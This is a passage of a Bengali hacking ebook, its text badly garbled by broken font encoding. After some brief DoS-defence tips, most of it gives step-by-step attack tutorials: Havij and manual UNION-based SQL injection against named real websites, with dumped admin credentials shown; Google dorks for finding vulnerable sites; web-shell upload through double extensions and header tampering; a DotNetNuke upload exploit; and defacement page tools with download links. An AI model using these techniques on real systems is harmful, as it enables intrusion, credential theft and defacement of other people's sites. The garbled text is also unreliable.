৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 30: Hacking Bangla eBook

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

